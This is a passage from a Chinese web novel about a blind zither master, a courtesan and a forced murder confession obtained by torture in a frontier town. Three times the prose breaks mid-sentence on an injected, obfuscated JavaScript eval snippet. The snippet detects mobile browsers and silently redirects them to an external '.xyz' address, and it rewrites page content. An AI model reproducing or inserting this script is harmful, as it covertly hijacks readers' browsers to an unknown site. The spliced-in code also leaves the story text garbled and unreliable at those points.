捕头那声笑尚未消散，一个半大孩子便被领了进来，粗麻衣裳，正是铁匠家的大儿子。 “娃儿莫怕，”捕头放缓了调门，指向虬髯客，“你可曾在琴师那屋附近，瞧见过此人？”他指尖一转，虚点空中，“尤其是…阿松在的时候。” 少年怯生生地偷觑虬髯客凶煞的面孔，小脸发白，手指死死绞着衣角，细若蚊呐：“见…见过几回。他…他攥着根棍子，缩在院外墙根底下…眼珠子…跟要吃人似的……” “放屁！老子那是……”虬髯客刚欲暴起，捕头一记凌厉的眼刀便将他钉在原地。 少年受这一吓，语势反倒急促起来：“有一晚…他…他破窗闯进了琴师家！里头…里头乒乓乱响…后来…后来阿松哥摔门跑出来。再后来，阿松就走了，他…他也消失了。” 甫一说完，少年已如惊兔缩至捕头身后，簌簌发抖。 “闯进去？！”虬髯客如遭雷击，怒喝道，“小兔崽子！那晚是……” “哼。”捕头嗤笑，指节重重叩在那枚染血的玉佩上，“人证、物证凿凿，你还要狡辩？！” 虬髯客若此时还看不透皂吏们唱的哪出戏，也算白在尸山血海里滚过几遭了。 眼见捕头示意将少年带离，暗影中的书吏陡然现身，捧着墨迹淋漓的供状，皮笑肉不笑地逼上前来。 “该画押了。”书吏的声音阴冷粘腻，激得人后背发凉。 “呸！”虬髯客怒目圆睁，一口血沫啐在供状上：“栽赃陷害的狗屁文书，想让老子认？休想！” 捕头眼神骤冷，下颌微抬。 两旁虎狼般的刑手猛扑而上，死死钳住虬髯客的双臂，反剪其身后。 “不识抬举！”捕头厉喝，“伺候着。” 鞭影裂空，狠辣地撕开皮肉。虬髯客浑身剧颤，牙关咬紧，只发出一声闷哼。 “打！”捕头声音愈冷。 鞭影再起，一下，又一下，刑房内唯余鞭笞皮肉的闷响与粗重的喘息。 捕头面无表情，一寸一寸剐着虬髯客痛苦扭曲的面孔。 书吏默不作声，重又铺开一张状纸，只待囚徒气力耗尽。 “砰”的一声，那扇紧闭的沉重木门被轰然推开。 去而复返的年轻捕快，面颊犹带潮红，手中紧攥的那份誉抄笔录脱手坠入血洼中，“若嵁”二字霎时被暗红吞噬。 11. 碣石调·幽兰（十） 捕头动作一顿，凌厉目光扫向门口僵立的年轻捕快，又掠过阴影中书吏那张似笑非笑的脸，心中了然。 嘴角勾起冷峭弧度，他将手中染血的皮鞭猛地塞向往年轻捕快怀里： “来得正好！这厮骨头硬，你且来，让他尝尝新皂衣的‘门道’！‘求仁得仁’，懂？” 年轻捕快如遭雷击。 他盯着强塞到手中的黏腻皮鞭，又望向柱上不成人形的躯体，最终对上捕头那双深不见底、再无半分遮掩的冰冷眼眸。 彻骨寒意骤然冻结了他的四肢百骸，耳畔嗡鸣不止，似有什么在胸腔轰然寸裂。 年轻捕快踉跄一步，脸色惨向如纸，握鞭的手剧烈颤抖。那身崭新的皂衣，此刻重逾千钧，浸满了看不到却再也洗不脱的血色污痕。 …… 不日，此案告破，“真凶”已然伏诛的公告张贴在于外城墙上，百姓莫不交口称赞。 琴音在若嵁指下骤然凝滞。 窗外巷弄里，稚童不谙世事的议论声随风渗入陋室。 “上头那个大胡子……”男童声音犹豫，困惑地挠头，“前几日还塞给我糖饴呢。咋看都不像坏人。” “我阿娘说了，坏人又不刻在脑门上，得处过才晓得！”女童脆生生反驳，她拽住身侧少年的袖子，“镰生哥，你去县衙作证，是真瞧见大胡子做坏事了？” 巷弄里穿堂的风似乎也凝滞了一瞬。 镰生青涩的喉结滚了滚，声音像被湿棉絮堵住，透着局促与无措： “我…我没瞧见他杀人啊！”他顿了顿，似是在努力回忆，又似在艰难辩解，“官爷问我话，我就说…看见他总在咱们院墙外蹲着，有回半夜闯进琴师家，撞得盆碗叮当响……” 他的声音突然蔫下去，细得像风中游丝：“我没说他是凶手啊…就是…把看见的全说了……” 孩童们似懂非懂地哦了几声，很快被街头卖艺吸引，一哄而散。 陋室重归寂静，唯余炉火将熄未熄的噼啪声。 若嵁枯坐琴前，指尖冰凉。 巷中童言虽稚，其间幽暗与她白日里在户部郎中府邸听到的只言片语相比，不遑多让。 那是先前在廖府，好友廖怀听闻她要赎回典当的玉佩，特引荐的活计——为几个醉眼朦胧的纨绔抚琴助兴。 席间杯盏狼藉，有人大着舌头提及这桩“漂亮”的案子，话语间是轻佻的赞许，赞那捕头手段“雷厉风行”，又夹杂着对“虬髯客骨头硬，吃了全套‘规矩’才肯画押”的咂舌议论。 纨绔裹挟着酒气与恶意的戏谑，孩童口中那个塞糖饴的“大胡子”…… 若嵁无声讥笑—— 证人证言是被诱导所得，犯人招供靠得是刑讯，那获得的证物的手段又该如何腌臜？ 有些人的命是命，有些人的命，连草芥都不如。一个贱籍小倌，能掀起这么大风浪，说不得已是‘死得其所’了。 夜寒顺着脊椎爬升。她拢紧单薄的旧衣，指尖却触到琴弦冰冷的硬质。 狭屋内的死寂近乎凝成实质，一声极轻微的敲门声响起。 “笃笃笃——” 若嵁身形微凝，搭在琴弦上的指尖未动分毫。她屏息侧耳，耐心捕捉着门缝外细微的响动。 确定来者并无闯入之意，若嵁才起身，警惕地将门推开一道窄隙。一缕极淡的幽香，几乎被寒夜吞噬，丝丝缕缕地钻入她的鼻腔。 “红绡姑娘……” 话音未落，裹挟着霜气的纤细身影已迅速闪入门缝扩开的空隙。 来人反手轻轻带上门扉，背靠其上，这才摘下兜帽。粗布襦裙遮掩了曼妙身形，雪色面庞却浸着薄红，在灰扑扑的衣衫里洇开半分春色。 红绡向前一步，将将停在若嵁身前几步之遥，极力压抑的细微抽气声，在死寂中显得格外清晰，如丝不绝。哽咽声终是破碎而出： “先生…求您…救他。” 若嵁并未回应，昏黄炭火在她无法视物的面庞上投下静止的阴影，异常平静。 那双被遮蔽的眼眸“望”向声音来处，却带着一种近乎洞悉的穿透力，让红绡心头莫名一悸。仿佛那目光能穿透她精心描画的哀戚，直抵深处某种她自己也难以言明的悸动。 “救谁？”若嵁的声音平淡无波，听不出丝毫涟漪。 “…城墙上告示里…杀了阿松的虬髯客！”红绡扑通跪倒，膝行两步，颤抖的手指几乎要触到若嵁褐色的衣摆，又在最后一刻生生顿住。 指尖的微颤，既因表演，也因这咫尺的距离。 “他是冤枉的！先生，他是天底下顶顶好的人！他也曾救过您不是？定是衙门里那些黑了心的，屈打成招！” 泪水汹涌，滑过红绡刻意涂暗的脸颊，留下两道刺目的湿痕，滴落旧木地板，发出轻微却突兀的“嗒、嗒”声。 每一滴泪都是精心计算，却也在倾泻某种无处安放的、更深的惶惑。 当真是，情真意切，哀恸欲绝。 若嵁倾耳，捕捉着空气中每一丝颤动。然而，极细微的违和感，如同投入死水的微尘，在她心湖悄然荡开涟漪—— 红绡口中的“虬髯客”，被描摹得过于纯粹无瑕。这不像出自见惯风月场中人心诡谲的花魁之口，更不似一个刀口舔血的冷面杀手该有的。 是的。 翠云阁内与红绡的初次交锋，令若嵁脑中闪过些许记忆碎片——白衣染血，玉簪藏刃，纤指断喉于无声的“女杀手”。 见若嵁沉默，红绡便以为她心生动摇，忙又膝行一步，膝盖几乎蹭到若嵁的衣角下摆。声音凄楚更甚，带着孤注一掷的哀鸣： “先生！您知道的，红绡在这世上，除了您……” 她的话音在此处骤然一滞，最后三字似有千钧重负，竟让她苦心维持的戏码乱了节拍。 红绡飞快续上，将那份几乎脱口而出的、更为复杂的依赖强行扭转到“虬髯客”身上：“…也就只有他待我几分真心了！” 她仰起脸，泪水涟涟，那双曾颠倒众生的眼眸里，此刻盛满了被刻意放大的痴迷与爱恋，直直投向若嵁的方向。 庆幸对方看不见。 这倾注了全部哀求和某种更深沉情愫的凝望，对象始终是那个静立如石的盲眼先生。 那为“虬髯客”流下的泪水里，究竟几分是真为了那个远在牢狱的男人，几分是为眼前这份永无回应的、不得不深藏心底的恋慕？连她自己，在这悲情的戏码里，也感到了一丝冰冷的迷惘。 炭火无声，若嵁静立如渊。 “他也曾救过您不是？” 此言如石入死水，在若嵁心中激起层涟漪，远比红绡刻意营造的痴情悲泣更令她心惊。 柳衙内碾过焦尾琴的画面，她岂能忘？冥冥中，只觉此琴于她重逾性命。而既非以德报怨之人，仇隙便无宽宥之理。 柳衙内令她重伤卧床，形销骨立；陆氏残党趁此欲夺宝杀人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533407|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，危在旦夕。正是虬髯客的闯入，解了她的生死困局。 红绡竟知晓此事。 绝非巧合。 是否意味着，在她最脆弱、毫无防备的日夜，红绡的目光，始终未曾远离这方寸陋室。 此事思之悚然。 若嵁可不愿成为他人盘中棋子。军械失窃案风浪未起，既然红绡欲借她之手搭救虬髯客？何妨……将计就计？ 一丝极淡、近乎虚无的冷意，掠过若嵁被炭火阴影覆盖的唇角。 她微微侧首，仿佛终于被红绡的痴情所打动，声线平淡，却不再是无动于衷的磐石，悄然染上些微被说服的松动：“你且起来。” 这简单的四个字，落在红绡耳中，不啻天籁。 烟花巷的夜色浓稠如墨，翠云阁后院的角门“吱呀”一声轻响，融进了一个纤细的身影。 红绡闪身而入，反手将门栓落下，动作轻捷无声。 甫一脱离那方寸陋室，她脸上哀绝凄楚的神情便如潮水般褪去，只余眉宇间挥之不去的疲惫和眼底深藏的冷光。 廊下悬挂的灯笼投下昏黄的光晕，将她一路引向阁楼深处一间不起眼的暖阁。 阁内燃着上好的银霜炭，暖意融融，却莫名带着死气。 一个身着素色锦袍的妇人背对着门，临窗而立，身形富态，未点妆的侧脸在烛影里显出几分与这风月场格格不入的沉肃。 “红绡姑娘可算舍得从那温柔乡里抽身了？”十三娘回首，嘴角噙着似笑非笑的讥诮，“怎么，你那情郎的琴弦，比我这老婆子的急信还勾人？” 红绡脚步微顿，面上最后一丝疲惫褪尽，声音清冷：“十三娘，慎言。” 她反手轻轻合上门扉，走到梳妆台前，卸下伪装：“我不是与你说过，若有急事要见，让昭翎传信便好。此地…终究人多眼杂。” 十三娘嗤笑一声，眼中讥讽更浓：“昭翎的传信？怕是早被你当成耳旁风了。你这套托词，老娘耳朵都听出茧子了。” 她逼近一步，声音陡然尖利，“不过是个瞎了眼的琴师，值得你红绡姑娘这般上心，护得跟眼珠子似的？连事也不办了？” 红绡猛地转过身，手中木簪“啪”地拍在妆台上，“我与她！绝非你想的那般龌龊！”她深吸一口气，声音压低却更显冷硬：“你冒险前来，就是为了嚼这些舌根？若无事，早些离去，免得节外生枝。” 十三娘眼神阴鸷，倾身向前，声音透出急切与不耐： “红绡，你莫要顾左右而言他！先前的交易——你亲口许诺助我报父仇、雪家恨，何时兑现？老娘在这腌臜地方忍辱偷生十几年，连儿子都搭进去了，不是为了听你一句‘再等等’！” 红绡直视她的目光，神色凝重： “急？我比你更急。眼下城中局势如沸鼎，牵一发而动全身。如今坐镇苍梧的是何人，你岂非不知？若是落到这尊杀神手上，你我的下场只会是——挫骨扬灰。” 十三娘拳头攥紧，指节发白，眼中恨意翻涌，却又夹杂着对燕王的忌惮：“……那要等到几时？！” 红绡行至窗沿，警惕地挑起一线缝隙向外望。 “快了。只待扳倒柳守备那老贼，燕王自无盘桓的因由。那时，便是动手的最佳时机。” 十三娘死死盯着红绡，仿佛在掂量她话中的分量。半晌，她起身离开，手搭上门栓，却又顿住，侧头，一字一顿： “你最好——说、到、做、到。” 12. 碣石调·幽兰（十一） 十三娘之言犹在耳畔，红绡立于妆台前，木簪尾端无意识拨弄着妆奁里的华贵耳饰，任窗外沉沉夜色裹着思绪蔓涌而来。 “姑娘，若先生传话，明日申时，如约来指点琴艺。”侍女隔门轻禀。 指尖倏地一颤，木簪险落。 红绡闭目瞬息，再睁时，眼底的冷硬与倦意已悄然敛入惯常的慵懒妩媚。 “晓得了。”她嗓音微哑，轻轻合拢妆奁，“去禀妈妈，我身子已无碍，明日可待客。” 先生竟肯来，莫非先前那番做派见了效？红绡惴惴的心终是安定，铜镜里映出她唇边一丝难以捉摸的弧度。 翌日申时，暖阁 香暖氤氲，红绡与众女身着绸纱襦裙，各显春色。 若嵁端坐琴案对面，一袭洗旧的褐色葛麻袍服，身形清癯，脊背挺直如松。 指尖落弦，不似抚弄，倒似叩问。腕骨嶙峋，竹节般的指，按捻挑拨间力道沉凝精准。泠泠琴音流泻而出，清越孤峭，将这暖阁的绮靡之气涤荡开去。 指点指法时，她声低而稳，字字清晰，无谄媚亦无居高，唯余一种近乎倨傲的专注。炭盆暖意蒸腾，却似被那身布袍与指下的清音隔绝于外。 红绡凝神仿效，目光却胶着于若嵁覆目布带下那冷硬的下颌与紧抿的薄唇。 分明是布衣寒士，一身风骨却硬过这楼中所有金玉锦绣，衬得满室脂粉都轻浮了三分。 琴课方歇，暖阁内余韵犹存。 侍女正轻手撤换冷茶，廊下却陡然喧哗大作。鸨母拔高的劝解声带着刻意奉承，刺破静谧： “哎哟我的柳衙内！您这金贵的脚可算踏到咱们这地界了！前儿个听闻贵府上有要事，可叫姑娘们可都念叨坏了！只是这会儿申时才过，琴课刚歇，怕是……” 话音未落，雕花门已被一只麒麟纹的锦靴踹开。 浓烈的酒气裹着热浪直扑而入。 一个身形微胖、裹着簇新宝蓝锦缎团花袍的年轻公子哥儿，满面油汗红光，由两名膀大腰圆的豪奴左右架着，踉跄着撞入。 “呸！什么劳什子学琴！”柳衙内乜斜着醉眼，舌头打着卷儿，“管它什么申时酉时，爷来了，就是吉时！”虬髯客认罪，阿松那桩案子既已了结，他自然是要寻回这快活窟。 暖阁内方才被琴音涤净的空气，瞬间被他的酒气、汗味与粗鄙的叫嚣填塞得满满当当。 柳衙内甩开豪奴，趔趄着朝前扑去，他的眼珠子如饿狼般在众女身上贪婪逡巡，最终落在了角落那身洗旧的褐袍上。 案边，若嵁覆着白纱的面容静如古井。指尖自微颤琴弦移开，他缓缓拢袖，将古琴紧紧护在怀中。周遭污浊喧嚣如被无形屏障隔断，唯余他身处幽谷深潭般的寂静。 “嗬！爷当是谁，原是若先生。伤可好了？”柳衙内猛地凑近，油汗蹭上琴案，眯着眼打量若嵁覆目布带下露出的鼻梁与下颌线条，带着狎昵的恶意， “啧啧…仔细瞧着，布条子底下这半张脸，倒还过得去嘛！可惜了，是个没眼的，不然……” 暖阁内死寂一片，只闻炭火爆裂的轻响。红绡指尖微凉，正要开口周旋。 若嵁拢在袖中的手，几不可察地在古琴侧板上一叩，发出声极轻微却清越如金玉相击的脆响。 她微侧过脸，覆目布带正对着柳衙内酒气蒸腾的方向，唇角牵起一抹极淡、极冷的弧度，声音不高，却字字清晰： “衙内雅兴。这暖阁炭气重，酒气也浊，易生幻影。在下目不能视，尚且知谨守分寸，衙内目明心亮，莫非…还想再闹出一场‘草木皆兵’的官司不成？” “草木皆兵”四字，被她轻轻巧巧吐出。 旁人听来不过是讥讽醉态的闲话，柳衙内却如被冰水浇头，醉脸骤白，下意识捂唇。那“官司”二字如毒刺扎心，前几日疑神疑鬼的狼狈光景，倏然翻上心头。 “你…！” 柳衙内喉头狠狠一滚，酒气携着惊怒直堵心口，偏生半个字都挣不出，只余下满眼被戳破隐秘的惊惶。 被若嵁刺中心病，柳衙内惊怒交加却又发作不得，那股邪火“腾”地烧得更旺。一张脸涨成猪肝色，他猛地甩头，布满血丝的醉眼狠狠剜了静坐的若嵁一眼。 索性柳衙内还记得先前与这琴师在翠云阁闹出的祸事，再有小倌阿松牵连己身，阖了阖眼，不欲再瞧她。 “晦气玩意儿！”他啐了一口，踉跄着朝红绡扑去，涎着脸道，“还是红绡姑娘好，这软玉温香的，才是正经快活！” 手掌带着酒气和汗渍，径直就朝红绡的皓腕抓来，动作粗鲁，眼神却闪烁着不怀好意的精光。 红绡身形未动，在那双手即将触及时，状似不经意地抬手理了理鬓边微松的珠花。 指尖拂过，快如蝶翼，柳衙内只觉腕骨一麻，竟被一股巧劲带得向前趔趄半步，抓了个空。 他猝然抬头，对上红绡含笑的眸子，慵懒妩媚依旧。 “衙内醉了，”红绡嗓音柔媚，却带着不容置疑的力道，假意搀扶，实则将他推离自己寸许，“妈妈备了上好的醒酒汤，不如先……” 身体乍贴近又分离，红绡只觉自己宽袖内袋被极轻、极快地触碰了一下，如同被风吹落的柳叶拂过。 她未停下动作，借着推开的力道，顺势将袖口往臂弯处滑落了寸许，恰好遮住那微不可查的异样。指尖不着痕迹地探入袖中，触到一一根断了的琴弦。 “醉？爷清醒得很！”柳衙内甩开她，借着酒劲，声音陡然拔高，又压着嗓子凑近，威胁裹着浓烈酒臭直喷在红绡耳畔，“比那天晚上在……还要清醒！红绡姑娘，那晚阿松的事…你可瞧得真真儿的？嗯？” 红绡眼波微凝，抚弄珠花的指尖一顿。 这纨绔竟看见了她！ 柳衙内见她沉默，自以为拿捏住了七寸，得意之色爬上眉梢。他故意扯开话题，目光在她颈项间逡巡，语带狎昵： “说来也奇，那日爷还道是眼花认错了人，今儿个瞧见你这双腕子便知没差。姑娘且宽心，你既是出淤泥不染，爷自不会拿铜臭坏了你的‘清白’。至于那些个血腥手段，又如何舍得用在你身上。” 他指尖轻叩桌面，目光落向她腕间新添的红痕，“这才几日不见，姑娘手上就添了‘彩头’？啧啧，难不成这几日接的客官，竟是个连抓挠都透着股‘娘们气’的主？”说罢，恶意满满地瞟了一眼角落静坐如山的若嵁。 若嵁面上纹丝未动，拢在袖中的指节微蜷。 方才柳衙内刻意压低却难掩凶戾的威胁，清晰地钻入她的耳中。连同红绡那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533408|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬气息的凝滞——绝非寻常被调戏的羞恼或恐惧，更像一种被触及隐秘的、冰冷的戒备。 疑虑悄然缠绕上心头。红绡…与柳衙内之间，似是藏着某种不为人知的、危险的牵扯。然而柳衙内此人行事无矩，不可揣测，还是得尽快脱身些好。 若嵁无声地调整了一下怀中焦尾琴的位置。 红绡面上已恢复常态，唇边绽开一抹更艳更冷的笑。 欺身半步，几乎贴着柳衙内酒气熏蒸的身体，红绡玉指拈起一方带着浓郁脂粉香的丝帕，拂过他额角的油汗，动作亲昵，吐气如兰： “衙内说笑了。奴家这几日都在阁里养病，哪有余力去外头奔波？”柔荑轻轻按在柳衙内僵硬的臂膀，半搡着出了暖阁，“莫再磨蹭了，快随奴家去喝杯醒酒茶，听听新曲儿才是正经。” 若嵁听得门扉轻合，面上仍沉静如渊，拢在袖中的手，指尖却不自觉地捻了捻腕上那根残缺的备用琴弦。 被翻红浪，低吟浅喘。 红绡好生安顿柳衙内，一番云雨后，由着他在绣床上鼾声如雷地睡去。 起身转到屏风后，她从地上外衫袖中取出那根冰凉的琴弦。借着屏风缝隙透入的微光，只见琴弦中段，竟被极其精巧地捻入了一小片薄如蝉翼、仅有指甲盖大小的素色丝帛。 展开丝帛，上面仅有两个用极细墨线写就、几乎难以辨认的小字： “证人。” 那厢若嵁才离了翠云阁，尚未抵家，已有贵客临门。 “霈然兄果真是住这？” 陋巷挤挨如蜂巢，朽木霉斑爬满了低矮墙壁。杂院共灶，薄板隔户，灶灰覆窗，竹竿悬衣如败帜，檐下浊水蜿蜒。 廖怀立身窄阶，袍角已沾染上了污痕，似泼墨山水里不合时宜的点缀。 他眉头紧蹙，扇骨在掌心敲得笃笃响。 “苍梧镇竟还有这等腌臜所在？连下脚的地儿都寻不出块干净的！” 出入皆是画栋飞甍、曲水流觞的廖公子，何曾见过这般蚁聚蜂屯、秽气扑鼻的光景？只觉此地污浊不堪，连空气都粘稠得令人憋闷。 逮了个小童，塞些银钱，问得若嵁早已出门，归期未定。廖怀心头那点热切顿时泄了气，更觉此地气闷难耐，胸中块垒难消。 “晦气！” 他低叱一声，甩袖便走，靴尖小心避开地上的污水坑洼。 离了那逼仄污秽之地，只觉浊气依旧萦绕不去，只想寻个开阔清静处涤荡一番。忽忆起城郊有片野湖，鱼肥水清，便命车驾转向。 一路上，瞧着身后跟着的四五个精壮护卫，廖怀又忍不住腹诽起父亲来： “不过是出来散散心，钓个鱼罢了，何至于如临大敌，硬塞这许多‘尾巴’？过去他只顾着围着二儿子转，如今怎的倒操心起我的安危了。” 更觉得这些人碍手碍脚，扰了他独钓的雅兴。 及至湖畔，果然碧波微漾，蒲草摇曳。清风拂面，比那陋巷清爽何止百倍。 廖怀心头稍霁，拣了块干净大石坐下，命护卫远远候着，莫要惊了他的鱼。他抛下钓钩，盯着那随波浮沉的鱼漂，心思却还绕着那霉斑点点的陋巷和寻不见的人打转。 约莫过了半个时辰，正待收杆，眼角余光忽瞥见远处湖心似有异动。 13. 碣石调·幽兰（十二） 定睛一看，竟是人影！ 那人在水中浮沉挣扎，动作却非泅水，倒像是…… 一心往下沉。 水面上唯余几缕黑发和一只绝望挥舞的手，旋即又被湖水吞没。 “不好！有人落水！”廖怀心头一凛，霍然起身，放声疾呼，“快！快救人！湖里有人！” 方才还被他嫌弃碍事的护卫们，此刻如同离弦之箭。两条矫健身影跃入水中，破浪疾游。岸上几人亦是训练有素，迅速解下腰带结成绳索，另有人寻来长竿，齐齐向湖心递去。 一时间，呼喝声、破水声、绳索甩动声撕裂了湖面的宁静。 廖怀站在岸上，一时心胆俱颤，攥着扇柄的手心全是冷汗，眼瞧着护卫们齐心协力，将那沉溺之人奋力拖向岸边。 人被七手八脚地拖上岸，是个年轻后生，面色惨白如纸，双目紧闭，口鼻不断呛出水沫，气息奄奄。 护卫中自有通晓急救之法的，立即上前施救。 廖怀也顾不得石上湿泥，蹲在一旁，面露焦灼。 折腾了好一阵，那后生才悠悠转醒，咳出几大口水，眼神涣散地茫然望着天空，旋即又被巨大的痛苦攫住，竟嚎啕大哭起来，悲声撕心裂肺，带着走投无路的绝望。 “兄台，何事如此想不开？”廖怀递过一块干爽帕子，温言劝道。 那后生泪眼模糊中瞥见廖怀衣饰华贵，气度不凡，以及周遭精悍肃立的护卫，心知眼前绝非等闲人物。这等绝望的深渊里，竟似陡然照进一线天光。 他挣扎着跪起，涕泪横流：“恩公…小人…小人实是活不下去了！与其同流合污，日日受那良心啃噬之苦，不如…不如一死了之，倒也干净！” 廖怀心头一沉，预感此事非同小可，遂沉声问道：“兄台何处高就？有何难处，但说无妨。今日既遇上了，或许便是天意。” “小人…小人是县衙一小捕快，名唤徐青。”后生哽咽道，“原以为……以为穿上这身皂衣，便能捕奸拿恶，伸张正义，为苍梧百姓做点实事…可谁知…谁知……” 徐青喉头剧烈滚动，声音嘶哑破碎，字字泣血：“…上头…上头草菅人命啊！只管拿人下狱…铁链悬梁…倒刺的长鞭蘸了盐水…” 他猛地闭上眼，浑身抖如筛糠，惨烈画面复现眼前，近乎将他吞噬。 “逼他画押认罪…我不肯屈从…他们…他们便将那染血的长鞭塞进我手里…按住我的胳膊…要我…要我……” 徐青猝然摊开被湖水浸泡得起皱发白的手，死死盯着掌心，仿佛那里烙着无法洗刷的罪证。 “我…我手上沾了血啊！那惨嚎夜夜在我耳边…我这双手…我这良心如何过得！除了这潭湖水，哪里还有我的去处？” 他抬起的眼中尽是绝望与不甘，像头濒死的困兽，发出无声却震耳欲聋的控诉。 廖怀初时愕然，旋即一股灼热的怒火自胸臆间“腾”地燃起，直冲顶门，烧得他双目赤红。 他出身将门，血脉里浸着悍勇刚烈。虽平日以纨绔自诩，放浪形骸，却是随父亲上过城墙的。他见过血肉横飞的战场，听过金戈铁马的铮鸣，对不公、暴虐与草菅人命的本能憎恶，霎时压过了所有玩世不恭。 “岂有此理！”廖怀霍然起身，指骨被捏得嘎吱作响，珠连语炮，字字如刀： “朗朗乾坤，王法何在？！平日百姓视我等纨绔膏粱为公害，岂料真正贻害一方的，竟是那些自诩明镜高悬的‘父母官’！你且说清楚，是县衙里何人指使？被逼供者姓甚名甚？关押何处？所犯何罪？” 这一瞬，廖怀周身散发出的凌冽杀气，竟教身旁护卫皆下意识挺腰阔首，手已按上腰间佩刀，蓄势待发。 徐青为他骤然爆发的威势所慑，勉力撑起虚软的身子，剧烈喘息，眸中掠过一丝深重的恐惧与挣扎。 恩公虽贵，但能否撼动那盘根错节的黑暗？ 终是那残存的良知和绝望盖过了恐惧，他咬紧牙关，和盘托出：“翠云阁小倌阿松之死，恩公想必有所耳闻？” 廖怀一怔，浓眉紧锁。他近些时日被阿爷严令软禁在府中，这等命案竟尚未听人提及，心中顿觉蹊跷。 “我等从阿松尸体上寻得柳衙内的贴身玉佩，乃是铁证！可…可知县大人不召衙内问询，反倒着人擒了他身旁的护卫……” 廖怀听他细细道来，却在提及“柳衙内”之名时，满腔怒火被浇上了一盆冷水。 柳衙内？柳守备独子？廖怀面上不由显出几分极为难看的尴尬与凝重。 若是旁的官宦子弟，尚可靠阿爷的官威压一压，但这柳家…… 柳守备可是出身本地百年军户世家，军中门生故吏众多，实际掌控苍梧镇及周边卫所军务，根基深厚且势力盘根错节。 此人爱子如命，性情刚愎护短。阿爷虽位高，名义上统辖此方防务，但强龙压不过地头蛇，且涉及军镇武官内务，贸然插手极易引发动荡，实在是棘手万分。 水面映着他紧蹙的眉峰，方才那股滔天怒火，早被沉甸甸的现实压得只剩水下翻涌的暗流。 廖怀思绪飞转：虬髯客一时救不得，不如先寻机揍那柳衙内解气。左右是晚辈子侄间的纷争，凭着阿爷的情面庇护，对方长辈料也不会与他深究。 正思忖间，脑中忽的灵光乍现，想起个或许能解此困局的人物。 他一把拉起瘫软在地的徐青，声音斩钉截铁，带着不容置疑的力道：“徐青兄弟，蝼蚁尚且偷生，何况七尺男儿？随我去寻一个人——她是我此生见过最聪慧的人，定有法子破局。” 说罢，他大步流星朝着那陋巷的方向折返而去，衣袂带风，步履坚定，再无半分初来时对那污浊之地的嫌弃，只有一往无前的决绝与担当。 护卫们即刻架起虚弱的徐青，紧随其后。 廖怀携着一身未散的湖水和焦灼气息撞开了那扇被岁月侵蚀得发黑的木门，此时日已西斜。 狭窄昏暗的屋内，唯有残碎日光从糊着纸的破窗隙里漏进来。昏黄的光晕里，若嵁正襟危坐，纤长的手指正擦拭着案上的古琴。 忽来的嘈杂撕破了屋内的静谧，她指尖微颤，悬停在了琴弦上方寸许。 “霈然兄！”廖怀的声线裹着急切，更透着寻到主心骨般的依赖，瞬间冲破室内的死寂。他几步抢至琴案前，早顾不得仪容，急切道：“可算寻到你了！” 若嵁微侧头颅，蒙眼的缚带间，耳廓循着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533409|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声息精准锁定廖怀方位，鼻尖轻颤：“廖公子？何事令你这般惊惶？脚步凌乱不止，似是还沾着……水汽与血腥气。” 廖怀强捺下翻涌的心绪，话音难掩急促： “惊惶？何止惊惶！我那庶弟廖晖，你是知道的，前些日子还上蹿下跳在我面前显摆，这几日却似人间蒸发一般。 阿爷更是古怪，突然对我‘关怀备至’，甚至竟将我锁在府中，半步不许出。好容易许我出门透气，偏又添了许多护卫，说是‘保护’，我看分明是监视！” 若嵁听出话里几分疑惑与惶然。她静了半晌，五指抚过冰凉琴弦，荡出一丝微不可闻的泛音： “哦？可是从燕王离府那日起？”声线平静无澜，却似石子投进深潭，教廖怀的焦躁陡然沉了沉。 “这还没完！”廖怀蓦地指向被护卫搀扶着的徐青，“早前我在盐湖钓鱼，鱼没钓着，倒捞起了这位投湖的兄弟。更瘆人的是他跟我讲的那些秘事，听得人后颈发毛！” 若嵁的“目光”准确地转向徐青所在。 徐青触到这无形的目光，虽知对方是盲者，仍觉一股洞彻心魄的压力骤至，下意识便想蜷缩身子。 “这位是…？”若嵁语气温和，带着不容回避的探寻。 “小…小人徐青…是…是县衙捕快……”徐青嗓音嘶哑，浸着劫后余生的虚乏，更揉着彻骨的绝望。 他断断续续将翠玉阁阿松之死、柳衙内玉佩、知县枉法、刑讯逼供，以及自己被迫卷入、终因良心难安投湖自尽的原委又述了一遍。说到被强按双手行刑时，他浑身剧颤，涕泪交加，几乎语不成声。 在徐青压抑的啜泣声中，若嵁悬在琴弦上的手指缓缓收拢，指节泛起微白。覆着白纱的眼底深处，似有无形波澜翻涌。 廖怀不察，只顾急切道： “正是！徐青兄弟所言，字字泣血。那柳衙内，仗着柳守备的势，简直无法无天！知县更是其走狗，草菅人命，构陷无辜！我恨不得立时揪出那厮痛揍一顿！可……” 